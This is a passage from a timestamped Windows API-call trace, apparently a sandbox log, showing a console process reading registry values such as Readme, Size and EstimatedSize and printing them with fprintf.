lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.566] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.566] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.566] __iob_func () returned 0x7fefd702a80 [0147.566] _fileno (_File=0x7fefd702ab0) returned 1 [0147.566] _errno () returned 0xc4bb0 [0147.566] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.566] _errno () returned 0xc4bb0 [0147.566] GetFileType (hFile=0x50) returned 0x1 [0147.567] lstrlenW (lpString="Microsoft Corporation") returned 21 [0147.567] GetConsoleOutputCP () returned 0x1b5 [0147.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0147.567] GetConsoleOutputCP () returned 0x1b5 [0147.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0147.567] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0147.567] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.567] __iob_func () returned 0x7fefd702a80 [0147.567] _fileno (_File=0x7fefd702ab0) returned 1 [0147.567] _errno () returned 0xc4bb0 [0147.567] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.567] _errno () returned 0xc4bb0 [0147.567] GetFileType (hFile=0x50) returned 0x1 [0147.567] lstrlenW (lpString="\n") returned 1 [0147.567] GetConsoleOutputCP () returned 0x1b5 [0147.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.567] GetConsoleOutputCP () returned 0x1b5 [0147.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.567] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.567] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.568] GetProcessHeap () returned 0x2e0000 [0147.568] GetProcessHeap () returned 0x2e0000 [0147.568] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.568] GetProcessHeap () returned 0x2e0000 [0147.568] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.568] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0147.568] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.568] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.568] GetProcessHeap () returned 0x2e0000 [0147.568] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.568] GetProcessHeap () returned 0x2e0000 [0147.568] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.568] GetProcessHeap () returned 0x2e0000 [0147.568] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.568] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.568] __iob_func () returned 0x7fefd702a80 [0147.568] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.568] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.568] _fileno (_File=0x7fefd702ab0) returned 1 [0147.568] _errno () returned 0xc4bb0 [0147.568] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.568] _errno () returned 0xc4bb0 [0147.568] GetFileType (hFile=0x50) returned 0x1 [0147.568] lstrlenW (lpString=" ") returned 4 [0147.568] GetConsoleOutputCP () returned 0x1b5 [0147.569] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.569] GetConsoleOutputCP () returned 0x1b5 [0147.569] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.569] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.569] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.569] lstrlenW (lpString="Readme") returned 6 [0147.569] __iob_func () returned 0x7fefd702a80 [0147.569] _fileno (_File=0x7fefd702ab0) returned 1 [0147.569] _errno () returned 0xc4bb0 [0147.569] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.569] _errno () returned 0xc4bb0 [0147.569] GetFileType (hFile=0x50) returned 0x1 [0147.569] lstrlenW (lpString="Readme") returned 6 [0147.569] GetConsoleOutputCP () returned 0x1b5 [0147.569] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.569] GetConsoleOutputCP () returned 0x1b5 [0147.569] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0147.569] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.569] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.570] __iob_func () returned 0x7fefd702a80 [0147.570] _fileno (_File=0x7fefd702ab0) returned 1 [0147.570] _errno () returned 0xc4bb0 [0147.570] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.570] _errno () returned 0xc4bb0 [0147.570] GetFileType (hFile=0x50) returned 0x1 [0147.570] lstrlenW (lpString=" ") returned 4 [0147.570] GetConsoleOutputCP () returned 0x1b5 [0147.570] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.570] GetConsoleOutputCP () returned 0x1b5 [0147.570] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.570] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.570] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.570] __iob_func () returned 0x7fefd702a80 [0147.570] _fileno (_File=0x7fefd702ab0) returned 1 [0147.570] _errno () returned 0xc4bb0 [0147.570] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.570] _errno () returned 0xc4bb0 [0147.570] GetFileType (hFile=0x50) returned 0x1 [0147.570] lstrlenW (lpString="REG_SZ") returned 6 [0147.570] GetConsoleOutputCP () returned 0x1b5 [0147.570] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.570] GetConsoleOutputCP () returned 0x1b5 [0147.571] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.571] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.571] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.571] __iob_func () returned 0x7fefd702a80 [0147.571] _fileno (_File=0x7fefd702ab0) returned 1 [0147.571] _errno () returned 0xc4bb0 [0147.571] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.571] _errno () returned 0xc4bb0 [0147.571] GetFileType (hFile=0x50) returned 0x1 [0147.571] lstrlenW (lpString=" ") returned 4 [0147.571] GetConsoleOutputCP () returned 0x1b5 [0147.571] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.571] GetConsoleOutputCP () returned 0x1b5 [0147.571] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.571] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.571] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.571] __iob_func () returned 0x7fefd702a80 [0147.571] _fileno (_File=0x7fefd702ab0) returned 1 [0147.571] _errno () returned 0xc4bb0 [0147.571] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.571] _errno () returned 0xc4bb0 [0147.571] GetFileType (hFile=0x50) returned 0x1 [0147.571] lstrlenW (lpString="") returned 0 [0147.571] __iob_func () returned 0x7fefd702a80 [0147.572] _fileno (_File=0x7fefd702ab0) returned 1 [0147.572] _errno () returned 0xc4bb0 [0147.572] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.572] _errno () returned 0xc4bb0 [0147.572] GetFileType (hFile=0x50) returned 0x1 [0147.572] lstrlenW (lpString="\n") returned 1 [0147.572] GetConsoleOutputCP () returned 0x1b5 [0147.572] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.572] GetConsoleOutputCP () returned 0x1b5 [0147.572] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.572] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.572] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.572] GetProcessHeap () returned 0x2e0000 [0147.572] GetProcessHeap () returned 0x2e0000 [0147.572] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.572] GetProcessHeap () returned 0x2e0000 [0147.572] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.572] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.572] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.572] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.572] GetProcessHeap () returned 0x2e0000 [0147.572] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.572] GetProcessHeap () returned 0x2e0000 [0147.572] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.572] GetProcessHeap () returned 0x2e0000 [0147.572] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.572] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.573] __iob_func () returned 0x7fefd702a80 [0147.573] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.573] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.573] _fileno (_File=0x7fefd702ab0) returned 1 [0147.573] _errno () returned 0xc4bb0 [0147.573] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.573] _errno () returned 0xc4bb0 [0147.573] GetFileType (hFile=0x50) returned 0x1 [0147.573] lstrlenW (lpString=" ") returned 4 [0147.573] GetConsoleOutputCP () returned 0x1b5 [0147.573] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.573] GetConsoleOutputCP () returned 0x1b5 [0147.573] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.573] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.573] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.573] lstrlenW (lpString="Size") returned 4 [0147.573] __iob_func () returned 0x7fefd702a80 [0147.573] _fileno (_File=0x7fefd702ab0) returned 1 [0147.573] _errno () returned 0xc4bb0 [0147.573] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.573] _errno () returned 0xc4bb0 [0147.573] GetFileType (hFile=0x50) returned 0x1 [0147.573] lstrlenW (lpString="Size") returned 4 [0147.573] GetConsoleOutputCP () returned 0x1b5 [0147.574] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.574] GetConsoleOutputCP () returned 0x1b5 [0147.574] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0147.574] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.574] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.574] __iob_func () returned 0x7fefd702a80 [0147.574] _fileno (_File=0x7fefd702ab0) returned 1 [0147.574] _errno () returned 0xc4bb0 [0147.574] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.574] _errno () returned 0xc4bb0 [0147.574] GetFileType (hFile=0x50) returned 0x1 [0147.574] lstrlenW (lpString=" ") returned 4 [0147.574] GetConsoleOutputCP () returned 0x1b5 [0147.574] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.574] GetConsoleOutputCP () returned 0x1b5 [0147.574] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.575] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.575] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.575] __iob_func () returned 0x7fefd702a80 [0147.575] _fileno (_File=0x7fefd702ab0) returned 1 [0147.575] _errno () returned 0xc4bb0 [0147.575] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.575] _errno () returned 0xc4bb0 [0147.575] GetFileType (hFile=0x50) returned 0x1 [0147.575] lstrlenW (lpString="REG_SZ") returned 6 [0147.575] GetConsoleOutputCP () returned 0x1b5 [0147.575] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.575] GetConsoleOutputCP () returned 0x1b5 [0147.575] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.575] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.575] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.575] __iob_func () returned 0x7fefd702a80 [0147.575] _fileno (_File=0x7fefd702ab0) returned 1 [0147.575] _errno () returned 0xc4bb0 [0147.575] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.575] _errno () returned 0xc4bb0 [0147.575] GetFileType (hFile=0x50) returned 0x1 [0147.575] lstrlenW (lpString=" ") returned 4 [0147.576] GetConsoleOutputCP () returned 0x1b5 [0147.576] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.576] GetConsoleOutputCP () returned 0x1b5 [0147.576] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.576] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.576] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.576] __iob_func () returned 0x7fefd702a80 [0147.576] _fileno (_File=0x7fefd702ab0) returned 1 [0147.576] _errno () returned 0xc4bb0 [0147.576] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.576] _errno () returned 0xc4bb0 [0147.576] GetFileType (hFile=0x50) returned 0x1 [0147.576] lstrlenW (lpString="") returned 0 [0147.576] __iob_func () returned 0x7fefd702a80 [0147.576] _fileno (_File=0x7fefd702ab0) returned 1 [0147.576] _errno () returned 0xc4bb0 [0147.576] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.576] _errno () returned 0xc4bb0 [0147.576] GetFileType (hFile=0x50) returned 0x1 [0147.576] lstrlenW (lpString="\n") returned 1 [0147.576] GetConsoleOutputCP () returned 0x1b5 [0147.576] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.576] GetConsoleOutputCP () returned 0x1b5 [0147.577] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.577] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.577] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.577] GetProcessHeap () returned 0x2e0000 [0147.577] GetProcessHeap () returned 0x2e0000 [0147.577] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.577] GetProcessHeap () returned 0x2e0000 [0147.577] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.577] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.577] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.577] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.577] GetProcessHeap () returned 0x2e0000 [0147.577] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.577] GetProcessHeap () returned 0x2e0000 [0147.577] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.577] GetProcessHeap () returned 0x2e0000 [0147.577] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.577] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x37d8, pcbData=0x23f670*=0x4) returned 0x0 [0147.577] __iob_func () returned 0x7fefd702a80 [0147.577] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.577] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.577] _fileno (_File=0x7fefd702ab0) returned 1 [0147.577] _errno () returned 0xc4bb0 [0147.577] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.577] _errno () returned 0xc4bb0 [0147.577] GetFileType (hFile=0x50) returned 0x1 [0147.577] lstrlenW (lpString=" ") returned 4 [0147.577] GetConsoleOutputCP () returned 0x1b5 [0147.578] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.578] GetConsoleOutputCP () returned 0x1b5 [0147.578] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.578] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.578] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.578] lstrlenW (lpString="EstimatedSize") returned 13 [0147.578] __iob_func () returned 0x7fefd702a80 [0147.578] _fileno (_File=0x7fefd702ab0) returned 1 [0147.578] _errno () returned 0xc4bb0 [0147.578] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.578] _errno () returned 0xc4bb0 [0147.578] GetFileType (hFile=0x50) returned 0x1 [0147.578] lstrlenW (lpString="EstimatedSize") returned 13 [0147.578] GetConsoleOutputCP () returned 0x1b5 [0147.578] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.578] GetConsoleOutputCP () returned 0x1b5 [0147.578] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0147.578] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.578] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.578] __iob_func () returned 0x7fefd702a80 [0147.578] _fileno (_File=0x7fefd702ab0) returned 1 [0147.579] _errno () returned 0xc4bb0 [0147.579] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.579] _errno () returned 0xc4bb0 [0147.579] GetFileType (hFile=0x50) returned 0x1 [0147.579] lstrlenW (lpString=" ") returned 4 [0147.579] GetConsoleOutputCP () returned 0x1b5 [0147.579] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.579] GetConsoleOutputCP () returned 0x1b5 [0147.579] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.579] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.579] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.579] __iob_func () returned 0x7fefd702a80 [0147.579] _fileno (_File=0x7fefd702ab0) returned 1 [0147.579] _errno () returned 